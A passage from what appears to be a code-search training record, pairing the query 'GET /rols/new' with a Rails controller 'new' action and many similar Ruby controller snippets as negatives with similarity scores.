format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def calendars\n records 'calendar', '/calendars.xml', :method => :get\n end", "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end", "def show\n @operations_role = OperationsRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @operations_role }\n end\n end", "def index\n @labs = @course.labs.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @labs }\n end\n end", "def index\n @uitgelichts = Uitgelicht.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @uitgelichts }\n end\n end", "def list_courses\n if current_user.is_admin?\n @user = User.find(params[:id])\n @courses = @user.courses\n respond_to do |format|\n format.xml { render :xml => @courses }\n end\n else\n respond_to do |format|\n format.xml { render :text => \"error\" }\n end\n end\n end", "def show\n @role = @client.roles.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @role }\n end\n end", "def index\n @tutors = Tutor.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tutors }\n end\n end", "def show\n @lore = Lore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lore }\n end\n end", "def show\n @shift = Shift.find_by_id(params[:id])\n #@payroles = Payrole.find(:all, :conditions => ['shift_id = ?', @shift.id])\n @payroles = @shift.payroles\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shift }\n end\n end", "def list\n\t@storecunsumptions = Storecunsumption.paginate :page => params[:page], :per_page => 10\n\t\trespond_to do |format|\t\t\n\t\tformat.html \n\t\tformat.xml { render :xml => @storecunsumptions }\t\t#Render to XML File\n\t\tend\n\tend", "def index\n @lsrs_soildata = LsrsSoil.order('SoilNamesTable')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lsrs_soildata }\n end\n end", "def index\n\t\t#@data = {name: '角色', path: '/managers/roles'}\n\t\t@roles = Role.page(params[:page]).per(params[:rows])\n\t\trespond_with({rows: @roles, total: @roles.total_count}) \n\tend", "def rights_overview\n\t\t@survey = Survey.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html \n\t\t\tformat.xml { render :xml => @survey }\n\t\tend\n\tend", "def show\n @lek = Lek.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lek }\n end\n end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def index\n @users = LinkedData::Client::Models::User.all\n respond_to do |format|\n format.html\n format.xml { render xml: @users.to_xml }\n end\n end", "def index\n @tutorias = Tutoria.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tutorias }\n end\n end", "def index\n @rolladexes = Rolladex.all\n end", "def index\n @realtors = Realtor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @realtors }\n end\n end", "def index\n @dataset_researchers = Lien.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dataset_researchers }\n end\n end", "def show\n @lr45 = Lr45.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lr45 }\n end\n end", "def lws_api_get(path)\n # See also catalog_controller for use of ENV['LWS_...']\n url ||= ENV['LWS_API_URL']\n url ||= \"#{ENV['LWS_CORE_URL']}/api\" if ENV['LWS_CORE_URL']\n \n # http://localhost:8888/api/collections\n resp = Net::HTTP.get_response(URI.parse(\"#{url || 'http://127.0.0.1:8888/api'}#{path}\"))\n result = JSON.parse(resp.body)\n end", "def show\n @role = Role.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @role }\n end\n end", "def index\n @estatus = Estatu.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @estatus }\n end\n end", "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @role }\n end\n end", "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @role }\n end\n end", "def new_recepce\n @users = User.find(:all, :conditions => \"role % 23 = 0\", :order => \"fullname\")\n @value = 0\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @operator_plan }\n end\n end", "def index\n @lessons = current_user.organization.lessons.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lessons }\n end\n end", "def index\n @rolpersonas = Rolpersona.all\n end", "def show\n @rrold = Rrold.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rrold }\n end\n end", "def show\n @role = Role.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @role }\n end\n end", "def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end", "def show\n @lieu = Lieu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lieu }\n end\n end", "def show\n if can?(:read, User)\n @user = User.find(params[:id])\n @roles = \"\"\n\n @user.roles.each do |role|\n if @roles == \"\"\n @roles += role.name\n else\n @roles += \", \" + role.name\n end\n end\n end\n\n respond_to do |format|\n format.json { render :json => @user }\n format.xml { render :xml => @user }\n format.html \n end\n\n rescue ActiveRecord::RecordNotFound\n respond_to_not_found(:json, :xml, :html)\n end", "def tournaments\n get('sports/en/tournaments.xml')\n end", "def show\n @lendable = Lendable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lendable }\n end\n end", "def run_list_xml\n run_url = 'http://nikerunning.nike.com/nikeplus/v1/services/widget/get_public_run_list.jsp?userID='\n run_url += @id.to_s\n open(run_url)\n end", "def show\n @wrestler = Wrestler.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wrestler }\n end\n end", "def verifica_usuarios\n# @user_pages, @usuarios = paginate :users, :per_page => 10\n @usuarios = User.find(:all, :order => 'nombre')\n @rol = Rol.find(params[:id])\n @usuarios = @rol.users\n end", "def index\n @curriculums = Curriculum.all(:order => 'start_year DESC')\n authorize! :read, Curriculum\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @curriculums }\n end\n end", "def show\n @lsrs_framework = LsrsFramework.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lsrs_framework }\n end\n end", "def show\n @lien = Lien.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lien }\n end\n end", "def index\n @zals = Zal.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @zals }\n end\n end", "def show\n @usr = Usr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @usr }\n end\n end", "def show\n @wro = Wro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wro }\n end\n end", "def show\n @lecture = Lecture.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lecture }\n end\n end", "def index\n @lessons = Lesson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lessons }\n end\n end", "def new\n @usuario = Usuario.new\n #Creamos al Rol asociado al Usuario...\n @rols_disp = Rol.find(:all, :order => 'id ASC') #Los roles disponibles...\n @rols_selec = [] #Los roles seleccionados...\n\n #@qbe_key = Rol.new()\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usuario }\n end\n end", "def show\n @laborer = Laborer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @laborer }\n end\n end", "def show\n @relatorios = Relatorio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relatorios }\n end\n end", "def index\n role = Role.find_by_name(params[:role])\n @users = role.users unless role.blank?\n #@users = User.paginate(:all, :joins => 'roles', :conditions => :page => params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "def show\n @Roc = Roc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @Roc }\n end\n end", "def index\n @borrower_residences = BorrowerResidence.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @borrower_residences.to_xml }\n end\n end", "def set_rol_juece\n @rol_juece = RolJuece.find(params[:id])\n end", "def show\n @lab = @course.labs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @lab }\n end\n end" ]
[ "0.6118157", "0.6118157", "0.5941122", "0.59244573", "0.59233826", "0.59158903", "0.5838863", "0.5810433", "0.5808924", "0.5762442", "0.5751392", "0.57127494", "0.57078797", "0.5707693", "0.5700722", "0.56819075", "0.56763065", "0.56648", "0.56626946", "0.5659165", "0.5659165", "0.5656666", "0.56338775", "0.56197196", "0.56040716", "0.5597526", "0.5583877", "0.5536926", "0.55342174", "0.5516018", "0.5496634", "0.549121", "0.5481966", "0.5478328", "0.54577583", "0.5451744", "0.5451744", "0.54376805", "0.5420946", "0.540321", "0.5391166", "0.5386097", "0.5362108", "0.5361669", "0.5358259", "0.5354783", "0.5353704", "0.5333946", "0.53277355", "0.5327297", "0.5324184", "0.5322174", "0.5318381", "0.53126967", "0.5289702", "0.5286023", "0.52791655", "0.5275088", "0.5274034", "0.5273811", "0.527251", "0.5249907", "0.5248192", "0.5230051", "0.5230006", "0.5227861", "0.5226969", "0.5217988", "0.52094287", "0.52094287", "0.52090156", "0.52051336", "0.5198794", "0.5198361", "0.51958495", "0.51935035", "0.51855415", "0.51840806", "0.5183169", "0.51783913", "0.5176137", "0.5173505", "0.51630247", "0.5161928", "0.5158295", "0.5155854", "0.5144051", "0.51430815", "0.51429003", "0.5141229", "0.5139965", "0.5139937", "0.51351535", "0.5132474", "0.51305664", "0.51295424", "0.5125858", "0.5125436", "0.51243263" ]
0.71032786
1
GET /rols/new GET /rols/new.xml
def new @rol = Rol.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @rol } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @rol = Rol.new(params[:rol])\n\n respond_to do |format|\n if @rol.save\n flash[:notice] = nil\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @rol = Rol.new(params[:rol])\n\n respond_to do |format|\n if @rol.save\n format.html { redirect_to(@rol, :notice => 'Rol was successfully created.') }\n format.xml { render :xml => @rol, :status => :created, :location => @rol }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end", "def new\n @lore = Lore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lore }\n end\n end", "def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @newz = Newz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newz }\n end\n end", "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end", "def new\n @renewal = Renewal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @renewal }\n end\n end", "def new\n @lyric = Lyric.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lyric }\n end\n end", "def new\n @lek = Lek.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lek }\n end\n end", "def new\n @wro = Wro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wro }\n end\n end", "def new\n @usr = Usr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usr }\n end\n end", "def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end", "def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end", "def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end", "def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end", "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end", "def new\n @crew = Crew.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @crew }\n end\n end", "def new\n @role = Role.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end", "def new\n @lr40 = Lr40.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lr40 }\n end\n end", "def new\n @Roc = Roc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @Roc }\n end\n end", "def new\n @curta = Curta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @curta }\n end\n end", "def new\n @rute = Rute.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rute }\n end\n end", "def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end", "def new\n @usuario = Usuario.new\n #Creamos al Rol asociado al Usuario...\n @rols_disp = Rol.find(:all, :order => 'id ASC') #Los roles disponibles...\n @rols_selec = [] #Los roles seleccionados...\n\n #@qbe_key = Rol.new()\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usuario }\n end\n end", "def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end", "def new\n @tutorials = Tutorials.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tutorials }\n end\n end", "def new\n @lr70 = Lr70.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lr70 }\n end\n end", "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "def new\n @lieu = Lieu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lieu }\n end\n end", "def new\n @relatorios = Relatorio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatorios }\n end\n end", "def new\n @user = User.new\n @roles = Role.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end", "def new\n @operations_role = OperationsRole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operations_role }\n end\n end", "def new\n @lote = Lote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lote }\n end\n end", "def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end", "def new\n @nostro = Nostro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nostro }\n end\n end", "def new\n @uitgelicht = Uitgelicht.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uitgelicht }\n end\n end", "def new\n @relatestagiario = Relatestagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end", "def new\n @addition = Addition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @addition }\n end\n end", "def new\n @norma = Norma.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @norma }\n end\n end", "def new\n @tpago = Tpago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tpago }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end", "def new\n if get_login.nil? then\n raise 'only logged in users can create new leagues'\n end\n @league = League.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @league }\n end\n end", "def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end", "def new\n @lsrs_soildata = LsrsSoil.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lsrs_soildata }\n end\n end", "def new\n @lookup_rad = LookupRad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_rad }\n end\n end", "def new\n @shift = Shift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shift }\n end\n end", "def new\n @shift = Shift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shift }\n end\n end", "def new\n @shift = Shift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shift }\n end\n end", "def new\n @imovel = Imovel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @imovel }\n end\n end", "def new\n @lb202556 = Lb202556.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lb202556 }\n end\n end", "def new\n @administration = Administration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @administration }\n end\n end", "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lease }\n end\n end", "def new\n @lr45 = Lr45.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lr45 }\n end\n end", "def new\n @trial = Trial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trial }\n end\n end", "def new\n @travel = Travel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel }\n end\n end", "def new\n @travel = Travel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel }\n end\n end", "def new\n @serie = Serie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @serie }\n end\n end", "def new\n @leilao = Leilao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @leilao }\n end\n end", "def new\n @lecture = Lecture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lecture }\n end\n end", "def new\n @setor = Setor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @setor }\n end\n end", "def new\n @title = \"New Operations\"\n @operation = Operation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operation }\n end\n end", "def new\n @roaster = Roaster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @roaster }\n end\n end", "def new\n @lsrs_cmp = LsrsCmp.new\n @record = LsrsCmp.first\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lsrs_cmp }\n end\n end", "def new\n @user = User.new\n get_list\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @user }\n end\n end", "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lesson }\n end\n end", "def new\n @lendable = Lendable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lendable }\n end\n end", "def new\n @solicitud = Solicitud.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitud }\n end\n end", "def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @borrow }\n end\n end", "def new\n @office = Office.new\n\t\t\n\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @office }\n end\n end", "def new\n @aisle = Aisle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aisle }\n end\n end", "def new\n @spiel = Spiel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spiel }\n end\n end", "def new\n @strelki = Strelki.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @strelki }\n end\n end", "def new\n @lancamento = Lancamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lancamento }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nomina }\n end\n end", "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poll }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @listener = Listener.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @listener }\n end\n end", "def new\n @lr13 = Lr13.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lr13 }\n end\n end", "def new\n @collection = Collection.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @collection }\n end\n end", "def new\n @menu = uhook_new_menu\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @menu }\n end\n end", "def new\n @estatu = Estatu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estatu }\n end\n end", "def new\n @curso = Curso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @curso }\n end\n end", "def new\n @sifter = Sifter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sifter }\n end\n end", "def new\n @kennel = Kennel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @kennel }\n end\n end", "def new\n @polling_station = PollingStation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @polling_station }\n end\n end", "def new\n @league = League.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @league }\n end\n end", "def new\n @league = League.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @league }\n end\n end", "def new\n @lb30 = Lb30.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lb30 }\n end\n end", "def new\n @lablocational = Lablocational.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lablocational }\n end\n end", "def new\n @modulo = Modulo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @modulo }\n end\n end", "def new\n submenu_item 'role-new'\n @role = Role.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end", "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end", "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end", "def new\n @old_twit = OldTwit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_twit }\n end\n end", "def new\n @staff_shift = StaffShift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @staff_shift }\n end\n end" ]
[ "0.72022414", "0.7067177", "0.68853265", "0.6799671", "0.67972404", "0.6792667", "0.67592645", "0.67537063", "0.6730882", "0.6698384", "0.6636429", "0.6633694", "0.6622037", "0.6616588", "0.6616588", "0.6616588", "0.6616588", "0.6590247", "0.6585547", "0.65846443", "0.65777874", "0.6568225", "0.65549386", "0.65512216", "0.65469843", "0.65391034", "0.65347385", "0.6531697", "0.6528584", "0.6518613", "0.6518613", "0.6517312", "0.65167534", "0.6509346", "0.6504937", "0.6504012", "0.65015614", "0.6500661", "0.6495991", "0.6495817", "0.6490605", "0.6485009", "0.646931", "0.6467187", "0.6466761", "0.6465453", "0.64607006", "0.6448797", "0.64444494", "0.64444494", "0.64444494", "0.6442107", "0.6436405", "0.64354724", "0.6433954", "0.64315903", "0.6431254", "0.6428641", "0.6427997", "0.6427997", "0.64274037", "0.6425163", "0.6424502", "0.64234465", "0.64227647", "0.64165384", "0.64140373", "0.64124024", "0.64076024", "0.64055115", "0.63989145", "0.63982034", "0.6396705", "0.6396424", "0.63926506", "0.6388514", "0.6387398", "0.6386744", "0.6386406", "0.6383895", "0.63638365", "0.6363342", "0.63624173", "0.63605225", "0.635617", "0.6355515", "0.63550746", "0.6353746", "0.63530177", "0.63484854", "0.63484854", "0.6346107", "0.6345492", "0.63447654", "0.6336353", "0.63357484", "0.63357484", "0.63337964", "0.633177" ]
0.79159343
1
POST /rols POST /rols.xml
def create @rol = Rol.new(params[:rol]) respond_to do |format| if @rol.save format.html { redirect_to(@rol, :notice => 'Rol was successfully created.') } format.xml { render :xml => @rol, :status => :created, :location => @rol } else format.html { render :action => "new" } format.xml { render :xml => @rol.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @rol = Rol.new(params[:rol])\n\n respond_to do |format|\n if @rol.save\n flash[:notice] = nil\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @rol = Rol.new(rol_params)\n\n respond_to do |format|\n if @rol.save\n format.html { redirect_to @rol, notice: 'Rol was successfully created.' }\n format.json { render action: 'show', status: :created, location: @rol }\n else\n format.html { render action: 'new' }\n format.json { render json: @rol.errors, status: :unprocessable_entity }\n end\n end\n end", "def rol_params\n params[:rol]\n end", "def rol_params\n params.require(:rol).permit(:name, :description)\n end", "def set_rol\n @rol = Rol.find(params[:id])\n end", "def set_rol\n @rol = Rol.find(params[:id])\n end", "def new\n @rol = Rol.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rol }\n end\n end", "def new\n @rol = Rol.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rol }\n end\n end", "def create\n @employees_rol = EmployeesRol.new(employees_rol_params)\n\n respond_to do |format|\n if @employees_rol.save\n format.html { redirect_to @employees_rol, notice: 'Employees rol was successfully created.' }\n format.json { render :show, status: :created, location: @employees_rol }\n else\n format.html { render :new }\n format.json { render json: @employees_rol.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rol = Rol.find(params[:id])\n\n respond_to do |format|\n if @rol.update_attributes(params[:rol])\n flash[:notice] = nil\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @rol = Rol.find(params[:id])\n @rol.destroy\n\n respond_to do |format|\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rol = Rol.find(params[:id])\n @rol.destroy\n\n respond_to do |format|\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n end\n end", "def create\n @rrold = Rrold.new(params[:rrold])\n\n respond_to do |format|\n if @rrold.save\n format.html { redirect_to @rrold, notice: 'Rrold was successfully created.' }\n format.json { render json: @rrold, status: :created, location: @rrold }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rrold.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @rol_juece = RolJuece.new(rol_juece_params)\n\n respond_to do |format|\n if @rol_juece.save\n format.html { redirect_to @rol_juece, notice: 'Rol juece was successfully created.' }\n format.json { render :show, status: :created, location: @rol_juece }\n else\n format.html { render :new }\n format.json { render json: @rol_juece.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rol = Rol.find(params[:id])\n\n respond_to do |format|\n if @rol.update_attributes(params[:rol])\n format.html { redirect_to(@rol, :notice => 'Rol was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def employees_rol_params\n params.require(:employees_rol).permit(:employee_id, :rol_id)\n end", "def new\n @usuario = Usuario.new\n #Creamos al Rol asociado al Usuario...\n @rols_disp = Rol.find(:all, :order => 'id ASC') #Los roles disponibles...\n @rols_selec = [] #Los roles seleccionados...\n\n #@qbe_key = Rol.new()\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usuario }\n end\n end", "def create\n @rolpersona = Rolpersona.new(rolpersona_params)\n\n respond_to do |format|\n if @rolpersona.save\n format.html { redirect_to @rolpersona, notice: 'Rolpersona was successfully created.' }\n format.json { render :show, status: :created, location: @rolpersona }\n else\n format.html { render :new }\n format.json { render json: @rolpersona.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: 